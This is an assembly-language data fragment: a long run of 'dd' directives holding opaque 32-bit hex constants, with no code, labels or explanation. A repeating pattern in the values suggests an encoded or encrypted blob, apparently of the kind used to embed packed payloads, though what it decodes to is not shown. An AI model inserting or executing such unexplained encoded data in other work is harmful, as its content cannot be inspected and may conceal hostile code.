4B5AB330h, 1158B35Dh, 0CAF363CBh, 0B3D13256h, 8C4B9EEDh dd 14CDE6EDh, 0BA493256h, 48303D56h, 47B13256h, 57B13246h dd 975DAD69h, 282F0A89h, 0E9AC54B4h, 0EA09D6A0h, 0BA493256h dd 5DB1CB56h, 0AEBABD59h, 31D13256h, 4930E3DDh, 0E0B2460Dh dd 53D15237h, 1CEE877Ah, 0BAB1B059h, 52D03256h, 0AEB13FD2h dd 57B9DB56h, 1C553256h, 12780AC6h, 0EAD062A0h, 64323D56h dd 53B13256h, 5DB1325Ah, 337115B3h, 1D0D7AC8h, 8F0E5EECh dd 5ABE3256h, 0EAB1325Eh, 75B3BE59h, 0DBD13256h, 54583256h dd 5B13256h, 31C914AAh, 4571F09Dh, 5CBE3256h, 0EAB13257h dd 7AB132AEh, 0BAB124DEh, 5DA0DB56h, 29623256h, 259DD55Dh dd 0E41C20BCh, 38664EDDh, 0EA8CA14Ch, 75B1CE56h, 46B132AAh dd 0D9BE3256h, 0AEB1324Bh, 57A6B259h, 0B9583256h, 3FB13256h dd 77BFB225h, 19FBF49Ah, 0E8EBB739h, 17619A93h, 0A1B13220h dd 57B13CD1h, 2CBE5256h, 0D5B13256h, 0EAB1B059h, 75D03256h dd 0BD353D56h, 52B13256h, 0AEB133D5h, 57B1C756h, 0ABB123BFh dd 3F6A2E56h, 0C2F32B37h, 7E956333h, 8EFBCC74h, 0D6BED8E6h dd 0AEB13257h, 0BEB132A3h, 0ABB13242h, 5E85B1EAh, 0C57A1B35h dd 0CF49DA03h, 0DE032364h, 2532529Ch, 47D13256h, 57B13246h dd 48813772h, 0C82BE4A4h, 0CB950579h, 700A8B7Ch, 0DB4E8D59h dd 0D3BE3256h, 0AEB1325Eh, 57B3B359h, 0CAD13256h, 0C5583256h dd 5EB13256h, 293A5D04h, 0BF5D8416h, 0F52A605Eh, 5656C280h dd 0DBBE3256h, 0ABB1325Ah, 0D5B135BFh, 901A9856h, 47A080DAh dd 0BA483256h, 5DB1C756h, 5BB132A3h, 57A3DB36h, 4DE63256h dd 0D54B7C38h, 774AF0EAh, 275CEDC1h, 23D9D798h, 0F3018930h dd 52B13237h, 57BDB259h, 29BE3256h, 0D5B13250h, 0EAB1BD59h dd 75B13256h, 43B132AFh, 0A5B132A3h, 28BE3256h, 57B13247h dd 0ABB13EBFh, 0C189A756h, 939E0DADh, 0FE589B68h, 53B13250h dd 5DB13244h, 0AA01E8Ah, 0CB7AFA6Ch, 1C63647Dh, 4F4D6D68h dd 0EAB1390Dh, 75B8B459h, 2D13256h, 37E98C3Dh, 52D05336h dd 5B583256h, 5FB13256h, 959A1457h, 1047D3F9h, 757B954Eh dd 0BABDDB56h, 0C91F3256h, 3A03D345h, 0A26DB651h, 0ABB16CF2h dd 0D5BDB859h, 0ED583256h, 22B13256h, 1F5F7353h, 5DB10DF6h dd 0AEB134BFh, 0D759FF56h, 0A4C8F7FBh, 0D5B133D8h, 0EAB1CE56h dd 75B137BFh, 65BCDA56h, 5DB1DBD5h, 0AEB123BFh, 7F2D2856h dd 0E13547D9h, 0BA769A24h, 870CA820h, 75B19E11h, 0BAB0B459h dd 5D483256h, 0AEA3DB56h, 0F41D3256h, 0F0CE6AA7h, 0BAE54128h dd 2394390Bh, 0BC75A37Ch, 0B5D13256h, 5DB12ADBh, 0AEA3DA56h dd 0BA983256h, 960C58BAh, 44C6A182h, 0AAE48559h, 0F7AA087Fh dd 0BABFDB08h, 76703256h, 439BEF53h, 736786F9h, 193AB700h dd 3CB13237h, 0EAB13253h, 1BB4D054h, 43B13265h, 5D493256h dd 0AEB1CE56h, 0E752B236h, 0A4B13237h, 0D5B122D2h, 0E03D3D56h dd 9CB13256h, 0BAB13253h, 5786103h, 47B132B1h, 57B13246h dd 9EEB67Eh, 33634DCFh, 7C1887E5h, 2D37E089h, 0DAD13256h dd 5DB1B159h, 45313256h, 8A315397h, 0ABB15309h, 0D5B6BF59h dd 61BE3256h, 75B13257h, 0BAB9DBAAh, 4F573256h, 85F76EC7h dd 57B177F6h, 0A4B132AFh, 0D5B139D9h, 0EAB7DB56h, 0A7A33256h dd 0F900856Dh, 56583256h, 76B13256h, 4ECE14CBh, 9B3086D6h dd 0D5B1D279h, 0E5B132AFh, 75B135D9h, 0BB363D56h, 0A4B13256h dd 0BC583256h, 12B13256h, 4B9925C1h, 0E1A0EE96h, 1F2A3707h dd 210BD0DFh, 0DAB13282h, 5DB13CBEh, 0DF11E556h, 3B94F6BBh dd 0ACCFB5C6h, 0B325A908h, 8BEEF5DDh, 13D13256h, 7B31EADDh dd 5DB153F1h, 0AEB134BFh, 4B8D0956h, 0A4EE832Dh, 0D5B133D3h dd 0EAB1CB56h, 0AC0E3D36h, 0BAB139BFh, 0DD6C7956h, 0C9F34C1Eh dd 0F066541Ah, 52B13237h, 58BE3256h, 0EAB13257h, 65373DAFh dd 53B13256h, 5DB1325Dh, 207EFE62h, 0F8538E76h, 0ABB89EE5h dd 0C6383D56h, 3B13256h, 75B13258h, 0A189E087h, 0A76319DEh dd 0C94A2EEAh, 57B10379h, 0ABB6DA36h, 0E52D3256h, 0B4B3D666h dd 75333DFEh, 0E4B13256h, 52D064E6h, 0AEB124D3h, 57A0DB56h dd 0FBE93256h, 0E9CED13Dh, 8F8CA6B6h, 8AA03B02h, 0BAB3D97Dh dd 5DB1CB56h, 0AEB0BD59h, 57493256h, 0AA353D56h, 29B13256h dd 0EAA0DB36h, 0CD6E3256h, 0E22EB906h, 0FD06C63Bh, 8A5250C7h dd 31CF1F9Bh, 14A2FCD7h, 0DAB13237h, 0EAB12BDEh, 75A5DB56h dd 0C8283256h, 1A725C83h, 4C702C84h, 0A4518394h, 0B62795B2h dd 0D5B128E5h, 0EAB138BFh, 277AE456h, 70E4D3BAh, 5D26D741h dd 0AEB1CA56h, 9C305436h, 0AE581F68h, 1BB13256h, 0D3A23E8Dh dd 9CB13237h, 0BAB13259h, 0A255B981h, 0D18A6852h, 2CDBE852h dd 0ABA4E4A1h, 0D5B8DB56h, 653F3256h, 0CF551AADh, 46195B10h dd 0D8BE3256h, 0AEB1325Ah, 57B7B559h, 2FBE3256h, 0D5B13256h dd 0E4583256h, 47B13256h, 0C8FFE418h, 53F176B2h, 64C2E60Bh dd 37B13273h, 2A66B930h, 7BF026B0h, 0EAB1530Ch, 9C305436h dd 7731CA57h, 4E58539Ah, 0DDB13256h, 27A95FA2h, 0D4DC1771h dd 8C5CB610h, 0B7EC9309h, 75B1E6B7h, 413A5436h, 5DB138BFh dd 4E9A3456h, 5350FBBh, 0CA9E4C89h, 3DD13256h, 0EAB13258h dd 48549763h, 0F4A7661Ah, 0C380B9E4h, 26BE9662h, 57B13256h dd 0AD58520Ch, 56B13256h, 6CA7CEADh, 75383D92h, 0DBB13256h dd 3DB13237h, 0C8D1F8E4h, 36D1E3DDh, 0ABB15337h, 0D5A7BC59h dd 0FB583256h, 50B13256h, 4DF6FCF2h, 2EAB7FD4h, 0EB00D366h dd 6E307DD5h, 0AB493256h dd 0D5BDDB56h, 56F73256h, 95DE53FEh, 949B96D7h, 5DB119E4h dd 0AEB13CBFh, 32546F56h, 0B96BAE1Ah, 4B988E2Bh, 0EAA9F2EAh dd 75B1CA56h, 0BAB120BFh, 9DD36E56h, 0FF250618h, 661B4233h dd 18D553B9h, 0D5D23065h, 0EB383D56h, 89B13256h, 0BA443256h dd 5DB1CA56h, 0AEB121BFh, 0D14E6456h, 0C8BEAF75h, 6AED0A5Bh dd 0BF172782h, 0AC90977Fh, 35BE3256h, 5DB1324Eh, 0AEB121BFh dd 0D2825E56h, 9390D010h, 0A5FFF696h, 93DAA40Bh, 8722D354h dd 0A8583256h, 0F8B13256h, 0E4A58B0Bh, 0D8B1C34h, 9E66E6C7h dd 5256725h, 0E53E3D50h, 9CB13256h, 0BAB1325Ch, 768EA5ABh dd 8C8357FDh, 57B1BC89h, 0ABB122BFh, 59FBD456h, 0C8CCA234h dd 60293466h, 6B525754h, 0A8B13292h, 0BC583256h, 8B13256h dd 0A0680D43h, 3227797h, 0F2F0B52Fh, 0DAC0C002h, 0DAB1321Eh dd 5DB2B859h, 63313256h, 57B15394h, 0ABB122BFh, 0F0823E56h dd 0C32A6B77h, 0F2D8EDA5h, 2FF326A7h, 0B4B13283h, 0AEB13244h dd 1B6F52D9h, 83B8CFF9h, 8974FC24h, 19463CECh, 75B11F3Bh dd 0BAB126BFh, 28C6B556h, 6570AB2Ah, 7A9E41D1h, 548E790Eh dd 9E57A85Fh, 0E6313D2Bh, 7AB13256h, 0BAB134DAh, 5D343D56h dd 0AEB13256h, 5B3F3D56h, 42B13256h, 0D5B13251h, 0FDED2292h dd 7576CBC1h, 0BAB1CE56h, 82305436h, 17D776F1h, 57D07BB4h dd 0BF3D3D56h, 3CB13256h, 0EAB13259h, 911D1208h, 863E4B58h dd 0A2E43646h, 0AE347F19h, 4658CA56h, 7DB13256h, 70A2EAEAh dd 8D9AA9A5h, 85BF0F89h, 3EB05099h, 54583256h, 0FB13256h dd 9B99C132h, 2A6DCB5h, 0D9583256h, 0A5B13256h, 0D0DCE963h dd 0EAFC82BBh, 5D32CEE0h, 0AEB1CB56h, 57B139BFh, 0D5D9D656h dd 0E1D86834h, 12FC5ABFh, 70583256h, 44B13256h, 94F1878Eh dd 0A6583256h, 10B13256h, 0BAE76AB4h, 0D583ECF8h, 6AE75256h dd 0FEEAD08Ch, 0BAB153AFh, 5DB13EBFh, 9ADBDF56h, 4A059E46h dd 49BEA44Fh, 0D5B1CB46h, 0EAA1DA36h, 9CDF3256h, 2D1EBC4h dd 2A67ABBDh, 4D525DACh, 944FBE1h, 0CEC4C1D7h, 0D5D05A02h dd 0EF585256h, 73B13256h, 0DFB327CEh, 5DB13FBFh, 0BD469C56h dd 1F8B162Ch, 7E1B1EEh, 0D5D086A2h, 0EAB6DB56h, 5683256h dd 0B0C98828h, 3DB13220h, 0AEB121BFh, 2BD06556h, 0A2C55213h dd 36732627h, 1F64F192h, 25A13AF5h, 0BAB13DBFh, 3AA61E56h dd 0F960E6DDh, 5604C98Ch, 731EF343h, 0DAB13237h, 0EAB120D3h dd 75BCDB56h, 2E703256h, 92DF1B7Ah, 4295E626h, 57CF0405h dd 0ABB9DB56h, 47DE3256h, 622A4079h, 7358D2FDh, 2B13256h dd 905D0C24h, 0A1B132D3h, 57B111D9h, 0A6595256h, 4AB13256h dd 33E4A4F9h, 30E1C37h, 1B7B35FCh, 5DB8DB0Dh, 83FD3256h dd 0F935FBF1h, 0CAE09E8Dh, 0C7583256h, 43B13256h, 0BBF37D38h dd 904BAA43h, 7BB45872h, 937A5581h, 0AFB13294h, 0AB443256h dd 0D5B9DB56h, 0F2293256h, 6181B2E3h, 0BAB19F65h, 5DB138BFh dd 4542C756h, 0D5B5555Ch, 0ABD3BA5Ah, 0D5B1CA56h, 0EAB0BE59h dd 8D4D3256h, 31D13256h, 0BF3054ADh, 0AED07BD4h, 57B1C756h dd 0ABD0CE36h, 0D5B1CB56h, 0EABFDB36h, 32FE3256h, 8DA4F528h dd 11B068DCh, 2118EE2Eh, 57B121BFh, 5AC75656h, 7EF36803h dd 0FE3C9644h, 434ADFE8h, 0DECD78E0h, 0A4B13237h, 0A1D13256h dd 57B130D1h, 534FB956h, 0B5D15237h, 0EA303D37h, 14B13256h dd 0BAB3B359h, 3CD13256h, 0CEB13237h, 8F063D36h, 0ABB1BC59h dd 64D03256h, 61BE5319h, 75B13258h, 0BAB13BBFh, 0E993EB56h dd 0B139ADADh, 57B11738h, 24BEC736h, 0D5B13256h, 12B13237h dd 0FFBE3256h, 0BAB13257h, 52B132A3h, 0AEB120D3h, 57BCDB56h dd 23D53256h, 0F65A587Ch, 0C8D78366h, 75301C9Dh, 0BABFDB56h dd 0AF4A3256h, 1DBA91E8h, 0B8DDF89Eh, 0D1C938A4h, 3DD13256h dd 0EAB13245h, 9A9BF56Bh, 0E3D098D6h, 0F170F20Dh, 6F3E06C1h dd 31B77437h, 1173DBD7h, 0B46BB80Ch, 0EAB137BFh, 1C2CDF56h dd 0BAB13003h, 5DB139BFh, 3BB48156h, 3F801F68h, 37B4BA73h dd 5FBE3256h, 0EAB13251h, 75B0B859h, 0BA483256h, 97305256h dd 8ED5C653h, 364F8D59h, 0AB493256h, 0C33A3D56h, 0E5B13256h dd 75B122D7h, 0BABADB56h, 77E93256h, 0CA1384Ch, 1718C5C2h dd 0AD323D6Bh, 0B5B13256h, 98528A30h, 7AB13237h, 0BAB133DFh dd 5DB1CE56h, 47B132AAh, 57B13258h, 129ECDA3h, 29386580h dd 0B998094Ah, 75B1750Bh, 53B132AAh, 5DB13242h, 0D644B72h dd 1FF11CFEh, 4CC68BE8h, 5E5B970Eh, 0D2546C5Fh, 15D13256h dd 33CD2D7h, 8C304106h, 8335CD46h, 57B15337h, 0ABA2BC59h dd 0DB583256h, 0AB13256h, 0AD7953BDh, 0A940BE19h, 7665C7DAh dd 0BC3A3D78h, 0BEB13256h, 0ABB1325Bh, 72D36BFh, 4C3F8F03h dd 0DF41B14Eh, 0B5B132E7h, 5DB13FDDh, 0AEB9DB56h, 80D93256h dd 8A267D3Fh, 0D5B18B8Dh, 3042B336h, 15D4B9B8h, 7240B3AAh dd 3CB86BD1h, 0AEB1CE37h, 813A5436h, 2F4E73EDh, 58BE5318h dd 0EAB13257h, 7AB132AAh, 0BAB13ADFh, 0DCD75256h, 56DB1480h dd 37B13237h, 0F3D05207h, 0D5B2B959h, 55BE3256h, 75B15397h dd 0BAA7B259h, 4C583256h, 0B6B13256h, 0B0B407CFh, 4240D020h dd 95BEEF5h, 0E76153F5h, 8CD13256h, 5AEC8C30h, 3DB13237h dd 79418C30h, 57B3BA59h, 0F0E33256h, 29B13237h, 65BE3256h dd 75B1325Ch, 0B5708736h, 5DB132D4h, 0AEB15356h, 37B132A3h dd 20D77AE5h, 0D5B153A1h, 0EAB3B459h, 14D13256h, 38BE3256h dd 5DB1325Bh, 0AEB13ABFh, 0FBD43756h, 120C7CEDh, 2CB13262h dd 0ED583256h, 0F0B13256h, 622E3989h, 5258054Ah, 74B13256h dd 93015C66h, 0FA9A2FE8h, 3AF64464h, 0EAB17871h, 75B0BC59h dd 0BA4D3256h, 5DB1CB56h, 0CEB132AAh, 3743B2AFh, 0A4B13237h dd 0D5B13ED9h, 30305256h, 79182A77h, 0C3D28830h, 3DB13237h dd 0AEA1DB00h, 0EE813256h, 8E3E6AB7h, 0DE372553h, 0F49977A2h dd 0FEEA5889h, 0BAB15381h, 5DB120BFh, 649C3356h, 1B7B9A09h dd 34D2332Dh, 0DFDA9BF6h, 0EAB207B1h, 633B3D56h, 0DAB13256h dd 5DB13EBFh, 36F03556h, 98854D0h, 1C04CBC3h, 22063D2Dh dd 0EAB1CB37h, 75A0DB36h, 5F633256h, 14A18532h, 0A0546EC8h dd 0F052E1FEh, 0CA96B5B9h, 0C5583256h, 75B13256h, 0B5BA604Eh dd 1DB830C7h, 0FC214433h, 0AE16687Eh, 8F3B5256h, 0ABB1CA37h dd 0D5ACBA59h, 6DBE3256h, 75B13241h, 0BAB120BFh, 21A29356h dd 37350049h, 8B6F422Fh, 74FFFF81h, 0D529F60Ch, 0EAB1C756h dd 75BEBE59h, 0B0583256h, 2CB13256h, 0B109564Eh, 0CD5A9108h dd 0A4B13246h, 0D5B135DDh, 27315256h, 148380F0h, 0EBD13256h dd 52EFF1DDh, 0AED0FBE1h, 57B1CB56h, 0ABB126BFh, 0FCB34356h dd 0D9BC46C2h, 2E08B8E2h, 2835CFB6h, 0F42826F0h, 0CEB132F4h dd 6378B330h, 0CA72B974h, 0DAD13256h, 0EAB131D2h, 8C0E3D56h dd 0DBD8C5D6h, 5DB9BB59h, 2DBE3256h, 57B13254h, 0ABB15336h dd 0D5B6B259h, 64BE3256h, 75B13257h, 53B132A3h, 5DB1325Dh dd 6C4DD50Dh, 0A584C6EDh, 0AB06477Eh, 0B00F5256h, 52B7134Ch dd 266AF6EFh, 0A9363D37h, 0B4B13256h, 0AEB13258h, 50E7B45Eh dd 0B10385F0h, 5BD8B654h, 0EAB1BF0Ch, 0CF71B236h, 0E4EF6201h dd 0A1B13237h, 0C8D13256h, 37D0FCDDh, 60063DA3h, 20B13237h dd 0EAB6BE59h, 0FCBE3256h, 0BAB13257h, 52B132AAh, 0AEB134D5h dd 863A5256h, 0ABD0F9DDh dd 5E495256h, 67BE5389h, 75B13246h, 0BAB139BFh, 0E6E6FA56h dd 0C08A395Dh, 6590AE1Fh, 0AB4D3256h, 0D5B7DB56h, 0B2C53256h dd 0CC61BFFEh, 0BA483256h, 5DB1C756h, 0AEB123BFh, 0AEAD2856h dd 26C96118h, 0A99265F6h, 33012BD9h, 75B1EE20h, 0BAB135BFh dd 5B860356h, 0FB4622B3h, 52583256h, 0B4B13256h, 437BF820h dd 0E5B132AFh, 75B12AD8h, 0BAA2DB56h, 49843256h, 0BBCAB270h dd 4B022DD5h, 29F44416h, 0FD3710D5h, 3B1321Fh, 75B1325Dh dd 80E68355h, 2D9299EFh, 0AE53558Eh, 5B333D56h, 42B13256h dd 0D5B13251h, 0CDA32657h, 7599A721h, 0BAA0DB56h, 4E353256h dd 26D32687h, 666187BEh, 0BCF81983h, 0D5A496CCh, 0EAB8DB56h dd 342F3256h, 9400BA07h, 3D46A9D9h, 0C746B330h, 563B3D18h dd 5EB13256h, 0DAB13237h, 0EAB122D6h, 75BADB56h, 16003256h dd 0EC243431h, 0B8EE6A07h, 37B13261h, 2B6FEDD6h, 0D5D01F9Dh dd 0EAB9DB56h, 0FFF33256h, 5C0DB631h, 5DB1C4A3h, 51A28936h dd 5E593052h, 0A9B13256h, 0A163E798h, 8E08BF65h, 2D6BB930h dd 0DAB13237h, 42174FE8h, 19BE6359h, 58D0689Fh, 0ABB13EDCh dd 0D3303D56h, 0E5B13256h, 75B132D5h, 53B13256h, 5DB13253h dd 5D1A5B0Dh, 0AEB13297h, 0CBB132A3h, 0B5EACA00h, 55698559h dd 6D9D9C56h, 0BAB15337h, 0D57CB236h, 0AEB153AAh, 57B120BFh dd 9EDFF56h, 0E95B8E3Eh, 2C992F6Bh, 0C1DB5F48h, 0BAD8F975h dd 59333D56h, 0CEB13256h, 57D0CDE2h, 0A0585256h, 0D7B13256h dd 62A1221Eh, 4D679250h, 0E8E00409h, 5DD06D0Eh, 0AEB1CA56h dd 0F861B336h, 5EE2E179h, 29B13237h, 0EABCDB36h, 0D4EA3256h dd 7A40A9D7h, 1158D251h, 46ECB876h, 57B13256h, 5E5BB30Ch dd 0DAB728C7h, 0EAB13AD8h, 77373D56h, 0DAB13256h, 5DA5DB37h dd 0D7643256h, 0C4EC7512h, 3DE4B78h, 0B8A8F0ECh, 5F57CEBDh dd 0F03C1CD8h, 0BCA8BC8Ah, 0FE33BBAEh, 0A1B7282Fh, 57B126D3h dd 0ABBEDB56h, 74ED3256h, 1C8106Ah, 9CDFA9DEh, 2D1EBC4h dd 0E333BFBDh, 0A1B72931h, 57B133DFh, 2938C756h, 0D3AB4B93h dd 55D7C736h, 9DD0B2F2h, 0BAB10148h, 5FDFDAAAh, 47483256h dd 57B1325Dh, 0E586BB06h, 5FB70097h, 2DEAA015h, 6FC817D4h dd 0BAB13250h, 5DB4DB56h, 89F73256h, 56573FDh, 0ABB137BFh dd 536FE856h, 6F77CD8Ah, 73A5280Fh, 0E8D9C700h, 0A82D9AEEh dd 0B46087A9h, 52583442h, 0D6B13256h, 9CB28C04h, 2D305436h dd 0F1BEB37Fh, 0BAB13243h, 5DB122BFh, 87A92E56h, 1F1FC1F4h dd 71847EFAh, 74E90107h, 6F3C5336h, 73A6B28Dh, 0BAA2B359h dd 0DCBE3256h, 0AEB1325Bh, 57B13ABFh, 8A0B6356h, 0E6D78236h dd 361CD31h, 75B1325Eh, 0B4BCA373h, 3FB33256h, 0B2E4B7DFh dd 0DABE3442h, 0ABB13257h, 0B5B558AEh, 253A54AEh, 72585237h dd 36B13256h, 0AD1784ACh, 2CBE2AC1h, 57B13254h, 0C3D0E4DDh dd 0D5B12256h, 0E7F15AA3h, 13D13255h, 144D1E9h, 48054D15h dd 57B15837h, 0DCBEE2A9h, 0ABB13242h, 0D5BBDB36h, 0BC213256h dd 0AB926B4Fh, 0DF9E29BBh, 3C7E8559h, 0AF323D0Ch, 0AFB13256h dd 2FBEF25Dh, 0D5B13372h, 0EAB0B059h, 0FC443256h, 0A0C817D4h dd 56333D50h, 0CEB13256h, 0E247B330h, 490A54BCh, 57385328h dd 0ECAB4B02h, 75B137BFh, 2B7FB456h, 4D58A1B6h, 6EB13256h dd 2601D3B7h, 16EE37CBh, 1C4B3316h, 5346E627h, 75B23F16h dd 0BC343D36h, 52B13256h, 0AEB132DAh, 57BFDB56h, 981A3256h dd 62297ACCh, 0E1C8B32h, 859975FFh, 0AF353D37h, 3DB13256h dd 0AEB13EBFh, 9B326656h, 1A483B3Ah, 0DC8BF51Bh, 8BD052D9h dd 7258CADDh, 0EEB13256h, 0D67C70CAh, 6E8269ACh, 57BDDBAFh dd 743256h, 6D9050F9h, 71B777E4h, 0DF4284AAh, 0DA4D60AAh dd 3B49B930h, 0CF170BEEh, 3F48363Ch, 0ABB12256h, 0D5BCBA59h dd 3D13256h, 75B13250h, 6219EFB5h, 0B4D09BF9h, 0AEB1325Ah dd 794C80D6h, 45AB6415h, 45E537Eh, 0EAB5323Eh, 75DBCB56h dd 0F656B236h, 76CEE0D7h, 0CED01641h, 0BE698D59h, 0ABB1325Eh dd 0D410E97Fh, 0EA1CAF1Fh, 2023CD37h, 53B7264Ah, 5DB1325Dh dd 7970DF0Ah, 0EAE1284Eh, 0F170ED4Dh, 2F33BBA3h, 1FB7282Dh dd 75B8DB37h, 5D473256h, 37EB1F47h, 259A97ADh, 4DC817D3h dd 6C315250h, 0D5BEDBDFh, 0B32B3256h, 9C19578h, 0C7803A9Ch dd 1ADBD0Fh, 0A1725335h, 57B135D2h, 0AA313D56h, 2DB13256h dd 6876CA36h, 73A532DBh, 0BAF13256h, 9033F5AFh, 0AEB7265Dh dd 0BEB13246h, 0ABB13247h, 0E310E47Dh, 0F54BB51Ah, 9BEB1BF6h dd 0EBDEEA3Eh, 9E4853D8h, 0A1D152AFh, 57B131DCh, 62063D56h dd 0C12684EEh, 503A5320h, 73AB4B73h, 0BAB0BD59h, 0DE493256h dd 2ABE3269h, 57B132B6h, 0ABB123BFh, 0EF44E056h, 636DEA09h dd 0E6D5738Dh, 20F16291h, 2232A631h, 2ABE3046h, 57B13226h dd 0ABB123BFh, 59000456h, 73E29765h, 0A4901FB8h, 651EACCCh dd 223217A3h, 2ABE3646h, 57B1322Dh, 0AE3A3D36h, 0B3B13256h dd 40C5E8D7h, 0C4FC8830h, 0BAB4DB37h, 8F143256h, 2DCD7FF2h dd 45582691h, 70B13256h, 694353E3h, 0DCBD2282h, 0E87D10D7h dd 0EF093864h, 0A2CCDB1Dh, 21BECDA9h, 57B13246h, 0ABB139BFh dd 39E3F956h, 0FD7B67B7h, 9806A5B3h, 0BBA17591h, 52B13256h dd 0AEB12ADFh, 0D6D75256h, 43FD7384h, 0D5B1325Dh, 0B26B9070h dd 8291FD48h, 0E21A85B3h, 0A210DB37h, 6948CDA9h, 57B22211h dd 21BE3256h, 0D5B1325Eh, 0EAB3B359h, 14D13256h, 454EB4BFh dd 5DB7DBA9h, 2B3256h, 0DD6F2C7h, 0ABBFDB37h, 0B7E33256h dd 6D99D6F0h, 8F1F8750h, 9FF2A136h, 0EABE5295h, 464D5286h dd 57B1325Ch, 3B85D8D2h, 5F2505C9h, 8BEA25CFh, 64586737h dd 84B13256h, 44AF2870h, 9EF0DD47h, 804F4B39h, 18F21379h dd 0B549DEDDh, 0EAB0B459h, 9D483256h, 0BAB13256h, 345BB30Ch dd 5BB728C0h, 0DABE5236h, 0ABB13256h, 0B4778D59h, 3D0FEDCh dd 75B13246h, 12600D0Bh, 7F6C96Ah, 30350B4Ah, 0BF0A1447h dd 0D7A380DDh, 55D1344Ch, 5AE726BFh, 8CD069FFh, 53B977DDh dd 5DB13251h, 0D64B6435h, 0BE2C0E9Ch, 0ABB13253h, 7916387Dh dd 3B7BB2Bh, 75B1325Ah, 0FCBF29D0h, 974D9D33h, 5645F2DEh dd 2BA3B0D5h, 57B5344Ch, 0D4303D37h, 16B13256h, 7173CE9Fh dd 0BABADB56h, 0FAE73256h, 311C10FEh, 0CCBDD15Ch, 434852C4h dd 0D5B13256h, 175BB30Ch, 89B728C0h, 4003B9AEh, 3DB7282Dh dd 834EF4D7h, 1A0E1865h, 0CABE391Dh, 0A9A3806Dh, 6EBE344Ch dd 75B13329h, 0BAB0B359h, 0D6483256h, 0BB353D68h, 0BEB13256h dd 0ABB13246h, 0C1DC4AE5h, 28A4EA88h, 0F280004Ch, 9B43969Fh dd 5249EDDDh, 5BB07DE0h, 57B0B659h, 5D4D3256h, 0DA313311h dd 0EAB174D3h, 75BCDB56h, 0F18D3256h, 3A91ADB5h, 4AEBCDACh dd 0AE0E1AFAh, 4248EB55h, 0D5B1321Eh, 0D05AB236h, 75B120BFh dd 51D48856h, 0C0328162h, 754056F9h, 77B8D7BFh, 0CAFE6AF7h dd 0D5B138BFh, 0E5A7D556h, 1A4FF334h, 91F0F871h, 48313D8Fh dd 47B13256h, 57B13246h, 27B2E11Eh, 717B4213h, 9F56F893h dd 0A78F323Ah, 0DAF2C715h, 5DA0B759h, 0A2583256h, 31B13256h dd 558DCF5Eh, 8B6B12EAh, 5470FF26h, 4A25F80Bh, 4F34B937h dd 52B72652h, 0AEB12BD2h, 57A5DB56h, 8EDF3256h, 1346D9A8h dd 802640A5h, 0F6773560h, 0ACDB4590h, 0D03A3B42h, 0A8A521F7h dd 0D1BE6236h, 0ABB13256h dd 50BE5308h, 0EAB13251h, 75B0B759h, 81443256h, 68333D8Eh dd 5BB13256h, 0D0BEEB6Dh, 0ABB1327Ah, 0D177B1A3h, 5DBE5236h dd 141E82A9h, 31BE53AEh, 5DB13250h, 0D3095436h, 965853F4h dd 0A44ECDA8h, 0D5B135D7h, 0EB3A3D56h, 80B13256h, 3EBEFD6Dh dd 5DB13261h, 0AEBBBB59h, 52583256h, 29B13256h, 0C14DF326h dd 0F9108FDFh, 0F9BE3442h, 0BAB13243h, 5DB9DB36h, 66783256h dd 0F30EDE66h, 29BE61CEh, 0D5B13256h, 14D2DB37h, 144DCDA9h dd 0BAB137BFh, 2EB0D956h, 0CE72F237h, 57B3BA59h, 673B3256h dd 0D5B13ABFh, 1569AA56h, 4EDEF0BEh, 0B4585324h, 0A5B13256h dd 0AE5BAA73h, 0FA30499Ah, 9D1FCBEAh, 0B54952F5h, 2CC9D2D7h dd 0A23B7D6Fh, 0BAB1DA37h, 0DCEB3256h, 0B429D9BCh, 42313D50h dd 0A4B13256h, 0D5B13DDDh, 0EABBDB56h, 20173256h, 6390977Fh dd 1CDF3183h, 0AEB126BFh, 9D5F7E56h, 1CFFE704h, 0B626439Ch dd 72BFA783h, 0E30072DBh, 0B7363DE1h, 3DB13256h, 8206F5ECh dd 57323D53h, 0CAB13256h, 2F0BB9A3h, 3B7282Dh, 75B13259h dd 35356A76h, 135705C7h, 7ECBA514h, 3718445Ah, 740A5436h dd 4D59B389h, 8BFE8DAEh, 75B0B059h, 0DB483256h, 5DB032EFh dd 0AEA0DB56h, 66283256h, 2B84E06Ah, 0C367F4E6h, 7C73CB7Eh dd 8DBEBD14h, 3ABEF265h, 5DB13247h, 703A5436h, 57B135BFh dd 0DEC8B656h, 53947498h, 31AC137h, 75B13245h, 9905583Bh dd 0F98A5B9Dh, 71C20542h, 0D7D163BFh, 20B552A3h, 0CFCAC8D4h dd 52D75250h, 9C3165D8h, 383853D2h, 5BAB4E44h, 0F30F5436h dd 543F3DACh, 2BB13256h, 29D0DEA0h, 5DBE5237h, 0B5305499h dd 79D0BCFCh, 5DB8DB36h, 0BD023256h, 550F7140h, 43591C96h dd 0D5B1325Dh, 0A9256CC0h, 0A492A8E2h, 0B56044D2h, 3CEEC2E9h dd 16035236h, 57B1DA37h, 2AEB3256h, 0CF2B25BCh, 0E5E35250h dd 75B132DDh, 0B5596856h, 0F9B13256h, 0BA7C2733h, 49AA4428h dd 0EE2C037Eh, 63A23F1h, 61BE530Eh, 75B1325Ah, 0BAB7BC59h dd 0DEBE3256h, 0AEB13256h, 4DE8B790h, 0CBE73442h, 877B8559h dd 5263C0D7h, 14EF22C5h, 0BAB0BD59h, 35483256h, 7AAE5F6Fh dd 55363D36h, 20B13256h, 0B44E8699h, 0F06087A9h, 0F4D13442h dd 5E8F8397h, 0BF30545Eh, 47D01F01h, 57B13253h, 0B1192F6h dd 0E34BFF6h, 3B725D6h, 75B1325Bh, 64F4882Bh, 0ED05649h dd 520EC603h, 874ECB2Ch, 0ABB13CBFh, 87C6656h, 0E4574534h dd 78DE33Dh, 0E8E9EB0Ch, 0D3BE62A3h, 0AEB1325Eh, 57B3B059h dd 0CAD13256h, 0D531323Eh, 60D15256h, 0F20B5493h, 0B5D15357h dd 7E05E0E1h, 0AEDB5337h, 0E54EC7A3h, 0ADAB4B73h, 0DB378D36h dd 5DBE3D51h, 0A54E53A4h, 38BE6AAEh, 5DB13257h, 23BE68AEh dd 57B13251h, 713A5436h, 0BDD05336h, 0EAB1B256h, 89B158AAh dd 0C14B80A9h, 0DDBE344Ch, 0AEB13257h, 0BE61CDAAh, 0ABB13242h dd 2DF14C00h, 805F9EF4h, 2B3D74E1h, 0FECE49E4h, 0D5CFFC2Bh dd 413B5237h, 0E8D1F137h, 0F486D10Fh, 0A9C28B30h, 6BBE6737h dd 75B1325Eh, 0BAB3B859h, 3CD13256h, 0BA58DEDDh, 0FAB13256h dd 